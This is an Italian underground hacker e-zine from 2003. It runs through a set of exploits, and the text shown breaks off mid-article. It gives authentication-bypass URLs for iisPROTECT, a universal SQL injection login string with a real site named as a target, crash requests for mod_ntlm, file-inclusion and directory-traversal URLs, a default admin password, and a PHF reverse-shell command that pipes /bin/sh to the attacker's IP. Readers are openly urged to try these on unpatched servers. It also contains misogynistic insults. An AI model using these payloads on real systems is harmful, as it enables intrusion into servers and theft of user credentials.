-------------------------------------------------------------------------------- -----IL SECONDO NUMERO DELLA RIVISTA UNDERGROUND DI INFORMAZIONELIBERA---------- ------------------------------------------[www.informazionelibera.cjb.net]------ _____ _____ /____/| /____/| | | | | | | | | | | | | 574MP4 UND3RGR0UND | | | | | | [Informazionelibera] | | | | | | STAMPA UNDERGROUND | | | | | | | | | | | | | | | | | |____ | | | | |/____/| | | | | | | |___|/ |________|/ ------------------------------------- Questa e-zine non è a scopo di lucro il nostro unico intento è quello di diffondere l'informazione liberamente e gratuitamente a tutta la comunità on-line,perchè il sapere è un diritto ------------------------------------- Copyright informazionelibera edizione 2003 www.informazionelibera.cjb.net ~ cyberdudemail@libero.it ------------------------------------------------------------------------------ __________________________________________[E-ZINE MENU']______________________ [HACKING, BUG & EXPLOIT] 01.Bypassare l'autenticazione in iisPROTECT ....................... Marsio 02.Exploit SQL in ASP, Sono Admin??? Buhahahaha.................... Unrelated 03.Vulnerabilità remote in mod_ntlm ............................... Marsio 04.Zio Bill ci delude ancora ... explorer 6........................ Tailot 05.CodeRedII - Whitehouse attack e nn solo ........................ Unrelated 06.PHP-Proxima: Accesso file remoto ............................... Marsio 07.Come vedo un sito oscurato?? ................................... Tailot 08.Telnet inverso ................................................. [Virtual] 09.Do you use textportal? Aiaiaiaiai! ............................. Marsio 10.Vulnerabilità in Forums Web Server ............................. Marsio 11.Hjiacking "puro" ............................................... Korn ------------------------------------------------------------------------------- [PROGRAMMAZIONE] 12.IpSpoofing in C++ .............................................. Loxeo 13.Strutture in C ................................................. BrNoCrIsT 14.Tutorial turbo pascal .......................................... Kornuto ------------------------------------------------------------------------------- [S.S. SFRUTTAMENTE SOFTWARE] 15.Crackare Acoustica MP3 Audio Mixer ............................. Marco Six³ 16.DivX su Play Station 2? what's the problem? .................... Cyberdude 17.…come fare per diventare radio emittente ....................... Cyberdude 18.Un Fifa2003 del tutto nuovo ;) ................................. Cyberdude ------------------------------------------------------------------------------- [NETWORKING] 19.ADDress Resolution Protocol (ARP)............................... SegFault 20.Struttura dell'indirizzo IP .................................... SegFault 21.rlogin (remote login)........................................... SegFault ------------------------------------------------------------------------------- [HARDWARE] 22.C'era una volta il 33 giri… e ora? ............................. Cyberdude ------------------------------------------------------------------------------- [INFO SECURITY] 23.Firewall, cosa sono e a chi servono?............................ RedFoxy 24.IRC e chattare con sicurezza ................................... Angels 25.SQL Injection … cos'è, come si fa e come ci proteggiamo ........ Cyberdude ------------------------------------------------------------------------------- [LE BASI] 26.Comandi princiapli dos ......................................... CerealKiller 27.FakeMail con Telnet ............................................ Unf0rg|v3n ------------------------------------------------------------------------------- [CRITICHE & POLEMICHE] 28.Piccola nota polemica con leggero condimento sarcastico ........ [Virtual] 29.Carlo Giuliani ................................................. Apolides ____________________________________________[THE END]___________________________ ________________________________________________________________________________ ___________________________________________________________________________ A tutti i lettori di questa e-zine... Tutti gli articoli presenti in questo giornale sono a puro scopo dimostrativo!Per cui non usate le informazioni presenti nei vari articoli per usi personali o illeciti. Informazionelibera non si assume alcuna responsabilità di eventuali problemi dovuti al cattivo utilizzo delle notizie date. Buona lettura a tutti ;) ___________________________________________________________________________ ... ED ORA LA E-ZINE ;) |------------------------------------------| | Bypassare l'autenticazione in iisPROTECT | |------------------------------------------| iis...mi suona familiare...pure iisPROTECT mi suona familiare...saranno mica progetti Microsoft?...no vero?...e invece SI !! (come non detto :)) Microsoft una ne fa mille ne combina...solo che questa volta a farne le spese è iisPROTECT, partner e certificato Microsoft! Ma veniamo al dunque...che cos'è iisPROTECT ? iisPROTEcT è progettato per offrire una password protection alle directory web, simile al metodo htaccess utilizzato con Apache. Qual'è la cosa più interessante di questo prodotto? Beh...in realtà le cose sono due... 1) Supporta iis 6.0 con il nuovissimo sistema operativo Windows Server 2003 2) Una vulnerabilità permette di bypassare il meccanismo di protezione...(ma non mi dire:)) Naturalmente il punto che ci interessa di più è il secondo. Vediamo di spiegarlo... Versioni di iisPROTECT vulnerabili: iisPROTECT versione 2.1 e 2.2 Installiamo iisPROTECT...installazione riuscita! bene andiamo a vedere allora come funziona... Dopo aver settato la directory contenente il file che vogliamo proteggere proviamo a visualizzarlo... Esempio: http://vittima.com/protected/secret.html Dove "/protected" è la directory settata precedentemente e "/secret.html" è il file protetto. Toh...guarda...quando tendo di accedere a secret.html mi esce una dialog box che mi chiede di inserire nome utente e password...vi chiederete...posso bypassare questa dialog box?...risposta...ECCOME SE POTETE :)) Possiamo bypassare l'autenticazione tramite una semplicissima richiesta... Proviamo a digitare: http://vittima.com/%70rotected/secret.html ....TOH!! ma guarda...mi visualizza il file secret.html senza chiedermi ne nome utente ne password... Proviamo a digitare anche: http://vittima.com/protected%2fsecret.html ....non posso crederci...anche adesso mi visualizza il file senza la richiesta di nome utente e password... "/%70rotected/secret.html" e " /protected%2fsecret.html " sono due richieste che permettono di bypassare la dialog box...ma ho sentito dire che ce ne sono molte altre...appena saprò di più ve lo dirò!! N.B.=> Gli sviluppatori di iisPROTEcT si sono accorti della cazz...ehm...dello sbaglio che hanno fatto e hanno rilasciato una versione di iisPROTECT non vulnerabile...esattamente la versione 2.2.0.9...solo che l'hanno rilasciata dopo neanche una settimana dalla 2.2. Passerà un pò di tempo prima che tutti gli admin lo aggiornino...sperimentate gente sperimentate :)) Credo di avervi detto tutto...quindi passo ai saluti e alle mie dolcissime dediche...(sottolineo dolcissime :) Saluti: A tutti i membri di InformazioneLibera, a cyberdude, alla UIHA e a Caligola Dedicato: - Alla mia Ex...che è sempre più TROIA !! - A Quella puttana che stamattina ha tirato sotto il mio piede con la macchina...FOTTITI ! - Al mio prof di biologia che oggi mi ha interrogato per 1 minuto e 6 secondi mettendomi un bel 6 pieno...IDOLO! - A chi non si arrende,a chi sà che la sua è una battaglia persa perchè è una battaglia per il futuro.. A chi lo sa e combatte comunque !! MARSIO -------------------------------------------------------------------------------- ------------< Exploit di SQL in ASP >------------------------------------------- ------< Sono Admin??? Buhahahaha>----------------------------------------------- Ummm non ho voglia di perdere parole inutili su questo exploit sopratutto perchè non mi vanto di qualcosa che in effetti non è una tecnica di hacking ma un exploit che per lo più in alcune varianti esiste già da molto tempo... in 4 parole amdate su google e scrivete... /admin/login.asp fate una bella ricerca e aprite le pagine ke avete trovato hihi ce ne sono un bel pò vero? Ora semplicemente scrivete nel pannello amministratore senza parentesi logicamente questo exploit... (' or 'a'='a) Hihihihih indovinate un pò diciamo che se vi identificate con questa chiave universale entrate amministratori nei siti asp e potrete modificarli... un esempio della espansione di questo bug? www.cglpadova.it Preso di mira dalla maggior parte dei lamah... Links Utili per ki konosce l'inglese http://www.ussrback.com/archives/opensec-exploits/ http://www.sicurezzanet.com/ http://neworder.box.sk/ http://www.8th-wonder.net/ware.asp -------------------------------------------------------------------------------- by Lord Unrelated Lodeguns -------------------------------------------------------------------------------- Vulnerabilità remote in mod_ntlm mod ntlm è un modulo Apache ( disegnato per Apache 1.3, ora disponibile anche su Apacha2.0) Questo modulo ha la capacità di autenticare users tramite la tecnologia di autenticazione NTLM specifico per MICROSOFT IIS. In questo modulo è stato trovata una vulnerabilità exploitabile da remoto che permette di eseguire codici arbitrari nel server. Sistemi vulnerabili: Apache 1.3: mod_ntlm v0.4 and prior Apache 2.0: mod_ntlmv2 v0.1 mod_ntlm contiene una vulnerabilità exploitabile da remoto sul data logging routine.La vulnerabilità avvienenel default build, la funzione "log()" contiene un errore che può essere exploitabile: static void log(const request_rec * r, const char *format,...) { va_list ap; char *s; if ((s = (char *) malloc(2048)) == NULL) return; va_start(ap, format); vsprintf(s, format, ap); va_end(ap); ap_log_rerror(APLOG_MARK, APLOG_NOERRNO | APLOG_NOTICE, r, s); free(s); } La funzione è chiamata dall'input user-supplied nelle varie parti di codice. La prima vulnerabilità è un heap overflow; in pratica se qualche input user- supplied è più grande di 2048 caratteri la gestione di memoria viene sovrascritta e l'esecuzione di codici arbitrari in questo caso è possibile. La seconda vulnerabilità è la chiamata incorretta ap_log_rerror(). In pratica l'ultimo parametro di ap_log_rerror() non è una log line, ma una format string. A causa della precedente operazione di decodificazione diviene possibile la pass format del ap_log_rerror(), questa può permettere l'esecuzione del codice. Entrambe le sessioni seguenti posso causare l'uscita del httpd; GET / HTTP/1.0 Authorization: [Ax3000] Or GET / HTTP/1.0 Authorization: %n%n%n%n Simile ad un proxy server, questo può essere exploitato tramite un URL esterno (http://www.yahoo.com/ per esempio) utilizzando l'autorizzazzione del proxy nel posto riservato all'autorizzazzione, come negli esempi sopra: http://www.yahoo.com/[Ax3000] http://www.yahoo.com/%n%n%n%n [MARSIO] -------------------------------------------------------------------------------- ____________________________Zio Bill ci delude ancora___________________________ _____________Explorer 6 ________________________________________________________ Prima di iniziare a scrivere questo mio primo articolo salutare tutti i membri della crew!! Si iniziaaaaaaaaaaaa Lo sapevate che l'ultimo internet explorer 6 quello nuovo nuovo, il più bello ed evoluto, cade in crash con un sola riga di codice .la riga di codice è:
Questa riga di codice fa andare in crash il vostro amato explorer.Se volete provare basta che copiate il codice nel blocco note di windows e lo salvate come pagina web!!!!Tutto ciò è molto devastante in quanto questo bug può essere utile per far cadere in crash anche altre applicazioni mircosoft. Ancora una volta il nostro caro bill ci ha deluso!! Buon divertimento BY TAILOT Per ulteriori informazioni: WWW.TAILOT.CJB.NET webmaster@tailot.zzn.com ________________________________________________________________________________ -------------------------------------------------------------------------------- -------< CodeRedII - Whitehouse attack e nn solo >------------------------------ -------< Disclamimer>----------------------------------------------------------- ....Ho scritto questo articolo in primis per sintetizzare ma allo stesso tempo rendere molto più chiare e comprensibili le info tecniche e i comportamenti del worm CodeRedII, molti articoli che ho letto riguardo a questo worm o omettevano una cosa oppure un'altra... credo con l'intenzione che non fosse commentata nei dettagli dagli altri così per garantirsi la scoperta... ma così non si va da nessuna parte... la storia ci insegna che i secoli di maggiore esplosine culturale sono proprio quelli dove l'informazione è libera e non legata da obblighi politici e religiosi... Noi netters credo fervemente che siamo il futuro... quindi anche se in modo molto piccolo siamo tutti noi parte del futuro... <> Eraclito.... cyberdude non ridere sai che sono pazzoidalmente filosofico.... kmq bando alle chace e incominciamo con il tut INTRO Il 12 Marzo 2003 è stata la data di comparsa del worm CodeRedII, o x lo meno la comparsa di una variante che mette tutto in gioco le sue varianti sono I- Worm.Baby e Bady ed anche la variante .La variante .F è molto simile al vecchio codered sfrutta le stesse vulnerabilità.. si può identificare fisicamente solo con circa 2 bit in più. Grazie comunque alla variante F che sto a writtare questo articolo... infatti la variante F e di seguito codered secondo hanno portato 1a nuova infezione su grande scala Questo worm installa una backdoor nei webserver infettati, così permettendo da browser di hackerare i webserver infettati. Ma parliamo più specificatamente di CodeRedII mi pare che si chiami pure CodeRed.C, Code Red gen 3, IIS-Worm.CodeRed.c e RooT o una cosa del genere...comunque anch'esso permette di hackerare da browser, la vulnerabilità che sfrutta il worm spero che tutti la sappiate cmq è quella dei server ISS.. la backdoor istallata è cmd.exe, è una semplice copia dei comandi standard WinNT\2000 che permette di hackerare da browser, tipo col comando Get,Dir.. Una possibile url di un webserver infettato da cdII è così: http://www.x-lolitas.com/msadc/root.exe?/c+dir,200,GET,/msadc/_root.exe?/c+dir http://www.x- lolitas.com/scripts/root.exe?/c+dir,200,GET,/_scripts/root.exe?/c+dir http://www.x- lolitas.com/d/winnt/system32/cmd.exe?/c+dir,200,_GET,/d/winnt/system32/cmd.exe?/ c+dir http://www.x- lolitas.com/d/inetpub/scripts/root.exe?/c+dir,_200,GET,/d/inetpub/scripts/root.e xe?/c+dir X-lolitas e un sito pedofilo quindi se x allora nn l'ho levato io, rendo pubblico il suo punto debole... anche se per ora non ne sono molto sicuro avendolo solo scannato e non studiato in tutti i suoi angoli più remoti. ANALIZZAZIONE DELLE URL Comunque analizzando le url possiamo capire delle cose molto importanti... 1) Il worm rilascia nel file explorer.exe proprio un estensione di programma che permette di sfruttare attacchi da remoto. 2) Copia nella "\inetpub\scripts\root.exe" il suo cmd.exe del quale ne ho parlato prima e nella dir ''\progra~1\common~1\system\MSADC\root.exe'', comunque dipende, se esistono tipo due dischi rigidi copia entrambi su tutti e due. ESPANSIONE CINESE Quando un host viene infettato inizia la scansione d altri web server infetti, il range di ip viene scelto in modo casuale ma comunque il worm è stato strutturato x ricercare su range di ip vicini a quelli della macchina infetta... Ma la cosa più bella è ke se nel sistema infetto si trova come lingua di default il cinese, il worm si incavola ed inizia una più ampia scansione,da 300 threads secondari ke crea ne arriva a 600... quando ne scanna 300 non demorde per circa 24 ore se se ne sono 600 raddoppia il tempo... Boh forse ha paura della polmonite Atipica... Analizzando il worm più accuratemente possiamo trovare nella routine di inizializzazione, un analizzatore di che identifica l'indirizzo di base della liberiria KERNEL32.DLL nello spazio degli indirizzi dei processi del server IIS. Poi logicamente cerca l'indirizzo di GetProcAddress e cerca così di usarlo x ottenere accesso ad un gruppo di indirizzi API come ad esempio LoadLibraryA CreateThread e GetSystemTime. Poi dopo carica il file W32_32.DLL x accedere a funzioni come socket,closesocket. IL TROJAN E IL SUO COMPORTAMENTO ALL'INTERNO DELLA CPU Ora che vi ho parlato dell'exploit è di dover informarvi su come possiamo levare il worm dal nostro winserver... prima di tutto il trojan disabilita il System File Checker...buhahahah cattivello evita al sistema di testare l'integrità dei files. Poi per assicurarsi di non essere rimosse crea delle dirctory omonime a C:\ o D:\ cioè d e c... La chiave 'SOFTWARE\Microsoft\Windows NT\ CurrentVersion\Winlogon\SFCDisable' e come value '0xffffff9d' disabilita proprio l'SFC. ed infine per accedere di root.exe. Con il valore ",217" le dir create: \SCRIPTS e \MSADC (ke contengono la copia di CMD.EXE denominata ROOT.EXE) hanno facoltà di renderci i privilegi di lettura e scrittura. 'SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\Scripts' 'SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\MSADC' X rendere accessibili da browser le keys modificate con i valori 'C:' e 'D:' 'SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\C' 'SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\D' FANCULO CHINESE ORA kE CONOSCO IL TUO WORM POSSO TRANQUILLAMENTE RIMUOVERLO.Per prima cosa è più sicuro aggiornare IIS x non essere infettati di nuovo... vi pare? Prima di tutto leviamo la vulnerabilità ke il worm sfrutta per espandersi,basta ke applicate la patch scaricabile qui. http://www.microsoft.com/technet/security/bulletin/ms01-033.asp e per completare blokkiamo la vulnerabilità che permette a Win di eseguire le componenti trojan... http://www.microsoft.com/technet/security/bulletin/MS00-052.asp Ora riavviamo x far si ke il worm sia definitivamente out dall' Hd... in effetti nn è mai stato in memoria fisica ma solo nella virtuale... diciamo ke il discorso sarebbe un po' più complicato ma basta sapere che il worm dopo il reboot scompare in automatico... vedi poi giù gli approfondimenti I seguenti file poi dovranno essere cancellati... '\inetpub\scripts\root.exe' '\progra~1\common~1\system\MSADC\root.exe' '\explorer.exe' Poi avviamo il regedit... Le seguenti kiavi del registro devono essere cancellate: 'SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\C' 'SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\D' cAzzo che astuto.... La string ',217' deve essere rimossa dalle seguenti keys: 'SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\Scripts' 'SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\MSADC' uffi che fatica... AUTO-REBOOT APPROFONDIMENTO Il riavvio del sistema è causato da una chiamata ad ExitWindowsEx prelevata dal file USER32.DLL.Esso provoca lo svuotamento dell'area di memoria occupata dal worm, ma chiaramente lascia sul sistema la backdoor e il trojan EXPLORER.EXE (residenti su disco) inoltre esso causa il riavvio dell'IIS con il supporto dei nuovi valori sono stati prima citati... ATTACCO ALLA CASA BIANCA - bUhcUCHCHHh - 31 Ottobre 2003 Il codered versione A ha una cosina che si merita tutta la stima del creatore non tanto per la tecnica, che magari fosse anche in mio possesso, ma per l'idea originale... verso la fine del suo ciclo espansionistico ,inizia un bel attacco DDoS contro il sito governativo www1.whitehouse.gov e inesorabile poi sospende il suo ciclo vitale... sospendendo ogni sua attività riavviando il sistema. I web server infetti avranno la pagina principale con sopra scritto in rosso: Welcome to http:\WWW.worm.com! Hacked by Chinese. Qui potete rimuovere l'infezione totalmente... http://www.microsoft.com/technet/security/bulletin/ms01-033.asp ----------------------------< by Lord Unrelated Lodeguns >---------------------- -------------------------------------------------------------------------------- PHP-Proxima: Accesso file remoto PHP-Proxima è un portale web scritto in PHP. Attualmente il portale è una versione modificata del php-nuke che tutti noi lo conosciamo perchè famoso per i suoi megabug! PhP-Proxima porta dei cambiamenti al codice di php-nuke...secondo voi è migliorato?...Boh...forse no...o forse si? beh sta a voi decidere... Uno degli (ingegnosi :P) cambiamenti è stato quello di mettere una chiamata all'autohtml.php. Sendando una specifica richiesta, come mostrerò in seguito, un normale utente può essere capace (anzi capacissimo :P) di includere file locali, e quindi leggerli. Ora sta a voi con la vostra fantasia a scegliere quali file leggere...io uno ne ho già in mente...:P Sistemi Vulnerabili: PHP-Proxima 6.0 and prior Il problema compare qui: ... witch($op) { case "modload": if (!isset($mainfile)) { include("mainfile.php"); } $index = 0; include("header.php"); OpenTable(); include("autohtml/$name"); ... Come vediamo un utente può includere qualsiasi cosa nel $name senza includerlo nel mainfile.php Esempio: http://victim/autohtml.php?op=modload&mainfile=x&name= ::[Marsio]::   ___ ___ ___ ___ ____   | | | | | || | | | \   | | | | | || |__| | \   | |__| | | || __ | @ \   \____/ |_||_| |_|_|\_\     _________COME VEDO UN SITO OSCURATO?____________________________________________ Colgo l'occasione per salutare tutti i miei visitatori ma anche i visitatori del sito www.informazionelibera.cjb.net Sono le ore 19:44 e 5 secondi e come avrete ben capito non ho un caxxo da fare!! Apparte gli scherzi stò scrivendo queste righe perchè vi voglio svelare un trucco che per la polizia di stato e finanza è sicuramente un segno di sfida. Il ruolo della finanza e polizia in rete non è altro che oscurare i siti che non sono in regola con la legge!! Adesso vi pongo una domanda che qualche tempo fa un certo CARPIO mi ha fatto per via e-mail: Come si fa a recuperare un sito che è stato oscurato dalla polizia o dalla finanza??? La domanda sembra buffa ma non lo è in quanto esistono servizi che offrono all'utente la visione del sito dal giorno in cui era aperto??? Adesso vi faccio un esempio...... Allora.....Andate sul sito www.brigaterosse.org hihihihihihi come vedete il sito è stato chiuso perchè illecito.... Adesso con una stringa che io definisco magica vedremo cosa c'era prima della chiusura..... ADESSO VI DIRò LA STRINGA CHE IO DEFINISCO MAGICA CHE CI RIFARà APPARIRE TUTTO IL MATERIALE CHE C'ERA http://web.archive.org/web/20011025225839/http://www.brigaterosse.org Che vi dicevo hahhah. In pratica potete anche risalire a cose ancora più vecchie adesso voi forze dell'ordine vedete di curare anche quest'aspetto di internet al posto di giocherellare con siti che in effetti centrano poco VI AUGURO UNA BUONA PERMANENZA IN RETE E RICORDATE CHE LA RETE NON E' UN POSTO COSI'SICURO BY tAiLoT ________(¯`·.¸¸.->www.tailot.cjb.net<-.¸¸.·´¯)_________________________________ TELNET INVERSO PREMESSA MINI MINOR Non so quanti di voi conoscano già questo argomento né quanti saranno interessati a ciò di cui parlerò, posso solo dirvi che ho deciso di trattarlo perché mi è capitato di parlare in chat con un tizio che mi poneva di fronte ad un problema. PS Se non avete linux lasciate stare. MA CHE E'? :o Riferendomi alla conversazione di cui appena accennato, un tizio mi chiedeva consigli per penetrare un sistema UNIX-LIKE che avesse tutte le porte inaccessibili, eccetto la 80 e la 443. Questo è il problema che ci poniamo: Come fare per entrare in un sistema sfruttando i soli servizi HTTP e SSL (o HTTPS) ??? Il problema può essere ovviato in modi differenti, ma oggi ci dedicheremo alla tecnica del TELNET/INVERSO. VENGO IO O VIENI TU? Questa tecnica consiste nel creare una connessione tramite sessione telnet DAL sistema attaccato AL proprio, creando così un canale di comunicazione detto canale di ritorno. A questo scopo, in base a quanto detto prima, abbiamo la necessità di creare due sessioni telnet sul nostro sistema uno sulla porta 25, l'altro sulla 80 in modo da ricevere correttamente le sessioni inverse di telnet. Prima di attivare le sessioni assicuratevi di aver disabilitato qualunque altro servizio in ascolto sulle porte indicate, quindi potete procedere con l'attivazione delle sessioni utilizzando il comando nc e mettendovi in ascolto sulle relative porte utilizzando i parametri l e p. Potete usare, inoltre, i parametri 'v' e 'n' per attivare rispettivamente la modalità verbose e impedire la risoluzione di indirizzi ip in nomi host. Riassumendo, quindi, i comandi saranno così composti: # nc -l -p -v -n 80 # nc -l -p -v -n 25 A questo punto abbiamo la necessità di avviare una sessione telnet sul server remoto. Questo sarà possibile sfruttando il vecchio bug del PHF e sarà simile al seguente: /cgi-bin/phf?Qalias=x%0a/bin/telnet%20ip_address%2080%20| %20/bin/sh%20|%20/bin/telnet%20ip_address%2025 Questa non è altro che l'esecuzione del seguente comando sul server: /bin/telnet IP_address 80 | /bin/sh | /bin/telnet IP_address 25 che attiva, appunto, le due sessioni telnet. In questo modo otteniamo una sessione telnet attiva in due finestre In pratica /bin/telnet IP_address 80 attiva la connessione verso il nostro pc sul quale vi è netcat in ascolto sulla porta 80. Quindi tutto l'output viene trasferito alla shell bourne mediante /bin/sh e tutti i nostri comandi saranno inviati a /bin/telnet IP_address 25. CONCLUSIONI In questo esempio abbiamo sfruttato le porte 25 e 80 perchè abbiamo supposto che fossero le più facilmente accessibili, ma in caso contrario questa tecnica può essere applicata utilizzando qualunque porta. Abbiamo inoltre supposto che sul server non fosse disponibile un eseguibile nc, perchè in caso contrario avremmo potuto usarlo al posto di telnet. *** |x|v1rTu4L_m4cH1n3|x| *** -------------------------------------------------------------------------------- |-----------------------------------| |Do you use textportal? Aiaiaiaiai! | |-----------------------------------| Un portale di testo? una cosa interessante...i portali in genere sono sicuri...(sopratutto i php-nuke :))...la cosa mi attirava e così ho aperto il mio fedelissimo Mozzila (per gli ignorantoni è un broswer per linux...xkè nn ho detto Explorer? Fattacci miei:)) E digito www.textportal.hu ...toh! che bello un portale di testo in...in...in...ma che diavolo di lingua è quella?...boh probabilmente non lo saprò mai...ma quello che vi dirò adesso soddisferà tutte le vostre curiosità e alla lingua con cui è scritto nn ci penserete più :) Cerchiamo di capire cos'è TextPortal: TextPortal non è altro che un portale di testo basato su PHP con forum, voting, registrazione utenti ecc...ecc... I nostri cari sviluppatori hanno avuto la brillante idea di settare una password di default per god1 (che sarebbe l'utente amministratore). Questa password può essere cambiata tramite una normalissima interfaccia, usualmente cambiata dall'aministratore. Mi sono chiesto...Non c'è God1 senza God2 ? E come per magia si scopre che esiste anche l'utente god2 settato dall'amministratore con privilegi simili. Ma allora anche God2 ha una password di default...ebbene si! La maggior parte degli amministratori cambiano la password di default per l'utente God1 dimenticandosi completamente che esiste anche un God2 con password di default mai cambiata! Quando il portale viene installato, la password di default per l'utente God2 viene settata a: 12345 ....e come per magia abbiamo privilegi simili a quelli dell'aministratore god1 Vi invito a visitare www.textportal.hu ...a patto che sapete leggere quella lingua che sinceramente non ho ancora capito di che si tratti ! N.B.=> Lo sò benissimo che questa vulnerabilità è una cazzata attroce...ma qualcuno doveva pur scriverla no?:) e poi a qualcuno servirà... Un saluto a tutta la crew InformazioneLibera, Alla UIHA, a tutti quelli che mi conoscono e a quelli che mi odiano! Dedicato a: - Quello che ha fatto invasione di campo sabato sera...IDOLO! - Alla mia Ex che se la sta spassando con il mio migliore amico..TROIA! - Al mio prof di tecnologia che vuole bocciarmi...BASTARDO - A quelli che sognano di vivere...a quelli che sognano di essere amati e stanno ancora sognando... ::[MARSIO]:: ::[sergy51@inwind.it] -------------------------------------------------------------------------------- |-------------------------------------| | Vulnerabilità in Forums Web Server | |-------------------------------------| Che cos'è Forums Web Server ? Forums Web Server permette di installare un servizio BBS e un servizio di scambio photo/file. Ma su cosa si basa realmente e cosa comprende? WebForums Server si basa su motori HTTP, motori di database interni, pagine integrate HTML/Script, interfaccia gestione utenti, motore di communicazione ed un opzione Upload/Download. La vulnerabilità trovata permette di risalire al nome utente e password di tutti gli utenti, compreso l'admin...Come?...non ve lo dico..:P (scherzo:) Ma veniamo al punto... La vulnerabilità si divide in quattro punti: - Clear text password storage - Directory traversal - Cross site scripting - Cookie contains username and password in clear text |-----------------------------| | CLEAR TEXT PASSWORD STORAGE | |-----------------------------| Inanzitutto dovete sapere che Forum Web Server (intelligentemente:) depone tutti gli username e password nel file \Program Files\Web Forums Server\User.ini senza sistemi di cryptazione, quindi qualsiasi utente può guadagnare l'accesso a questo file e ottenere così la lista di tutti gli username con relative password. |---------------------| | DIRECTORY TRAVERSAL | |---------------------| Forum Web Server oltre ad essere vulnerabile al primo punto (Clear text password storage) è vulnerabile anche alla Directory Traversal. Ci accorgiamo quindi che non solo è possibile vedere qualsiasi username e password di Forum Web Server, ma qualsiasi utente remoto può leggere i file arbitrari del sistema. (addirittura! :) Vediamo di fare un esempio concreto: http://10.10.10.1/../user.ini In questo modo riusciamo a vedere user.ini e quindi riusciamo a leggere tutti gli username e password. Alternativa: http://10.10.10.1/../../../boot.ini |---------------------| |CROSS SITE SCRIPTING | |---------------------| Forum Web Server soffre anche di una vulnerabilita nel CSS, ovvero Cross Site Scripting. Questo vuol dire allora che qualsiasi utente che può postare un messaggio nel "Forum Message" può postare anche un messaggio nel "CSS" |----------------------------------------------------| |COOKIE CONTAINS USERNAME AND PASSWORD IN CLEAR TEXT | |----------------------------------------------------| Eccoci all'ultimo punto, questa vulnerabilità permette a chiunque sia in grado, o ha i privilegi, di vedere il network traffic nel server, può vedere anche l'username e password dell'utente. Facciamo un esempio concreto: Host: 10.10.10.1 Cookie: IDHTTPSESSIONID=3ertf3dsxfy3aqW; UserID=user10; PassWD=0000 Vediamo chiaramente l'username, in questo caso "user10" con la sua relativa password, in questo caso "0000" Questo è tutto... Forum Web Server lo potete trovare all'indirizzo http://www.minihttpserver.net/home/ Saluti: A tutti quelli che mi odiano e a quelli che mi vogliono bene Dedicato: - A quelli che richiudono gli occhi e ricominciano a sognare ::[MARSIO]:: ::[ sergy51@inwind.it ]:: ------------------------------------------------------------------------------- ############################################################################### kuesto artikolo e' puramente a skopo informativo.Tutti gli usi ke ne faranno i lettori sono kazzi loro e non miei, kuindi se i lamer e i newbies vanno a fare kasino kosi' allora sono kavoli loro e non miei!!! ############################################################################### autore : KoRn Titolo:Hjiacking "puro" lo scrivo per : kuelli ke bukano shell e sanno fare solo kuello introz:ho sentito in questo periodo degli artikoli sul'hijack in irc, attacchi man in the middle...ma ke kazzarola e' l'hijacking??? Specifikiamo:kon il termine Hijacking intendiamo il DIROTTAMENTO DI UNA KONNESSIONE TCP in corso per inserire dati estranei al posto del client legale che stava portando avanti la trasmissione dei dati. Un possibile uso sarebbe kuello di aspettare in agguato una mail da parte di un cliente e di poter variare il kontenuto...sarebbe una perfetta Fake mail (una mail falsa) :) o magari poter aspettare ke due host siano konnessi e prendere poi il posto del client di eseguire komandi sul serlver al posto suo, inserendoci nella konnessione! Per poter fare kuesto usiamo un'altra tecnica kuella dell'IP SPOOFING..ma di ke kosa si tratta??? CLIENT<----------------------------->SERVER | | SPOOFER______| Kome vediamo il client stabilisce una konnessione kon il server..essi passano nello stato ESTABLISHED.L'attacco viene portato inserendo dei pacchetti nel flusso della connessione, che desincronizzino lo stato della trasmissione legale ed alterino la coppia SEQ/ACK del server agli occhi del client.In quetso modo esso nn e' in grado di inviare i dati e continuera a ritrasmettere i i propi numeri attesti mentre l'attacker potra' kontinuare a inserire dati nel server apparendo kome il klient vero.Ma kome puo' avvenire? A: client Z: server akuesto punto A e Z eseguono il 3-way handshake di TCP. A (ISNa , SYN ) > Z Z(ISNz, ACK[ISNa+1], SYN|ACK) > A A(ACK[ISNz+1], ACK) > Z ISN sta per il numero SEQ iniziale e SYN|ACK sono flag di TCP DOpodiche' cominciano a trasmettere dati , sapendo che ogni bite trasmesso provoca sempre l'ACK dall'altra parte. A(SEQ, ACK, A|P) > Z Z(SEQ[ACKa], ACK[SEQa+BYTE], A) > A In pratika vediamo ke SEQ del server e' uguale della'ACK del client (ke nel setup della konnessione era l'ISN del server +1) mentre l'ACK e' uguale al SEQ piu il numero di byte trasmessi. IN questo modo il protokollo TCP e' in grado di scannare tra paccetti esatti e errati. Vediamo kome proprio kome due host komunicano tra loro in questo modo: TCP Packet #1 192.168.1.1:1025 > 192.168.1.2:23 SEQ:1118358509 ACK:0 (TTL:64 Window:512) FLAGS: -S---- TCP Packet #2 192.168.1.2:23 > 192.168.1.1:1025 SEQ:4143819233 ACK:1118358510 (TTL:64 Window:32736) FLAGS: -S--A- TCP Packet #3 192.168.1.1:1025 > 192.168.1.2:23 SEQ:1118358510 ACK:4143819234 (TTL:64 Window:32120) FLAGS: ----A- Ora i due host sono nello stato ESTABLISHED. TCP Packet #4 192.168.1.1:1025 > 192.168.1.2:23 SEQ:1118358510 ACK:4143819234 (TTL:64 Window:32120) FLAGS: ---PA- TCP Packet #5 192.168.1.2:23 > 192.168.1.1:1025 SEQ:4143819234 ACK:1118358534 (TTL:64 Window:32712) FLAGS: ----A- Il client ha trasmesso 24 byte di dati. Lo intuiamo dalla risposta del server che comunica con un ACK uguale al SEQ del client + 24 (1118358534 - 1118358510) TCP Packet #6 192.168.1.2:23 > 192.168.1.1:1025 SEQ:4143819234 ACK:1118358534 (TTL:64 Window:32712) FLAGS: ---PA- TCP Packet #7 192.168.1.1:1025 > 192.168.1.2:23 SEQ:1118358534 ACK:4143819246 (TTL:64 Window:32120) FLAGS: ----A- Dopo e' il server a trasmettere dati. Possiamo vedere che il suo SEQ non e' cambiato. Il client risponde con un ACK che riconosce 12 byte di dati. Ho parlato dello stato ESTIBLISHED. Questi stati sono definiti nella kartella linux/tcp.h enum { TCP_ESTABLISHED = 1, TCP_SYN_SENT, 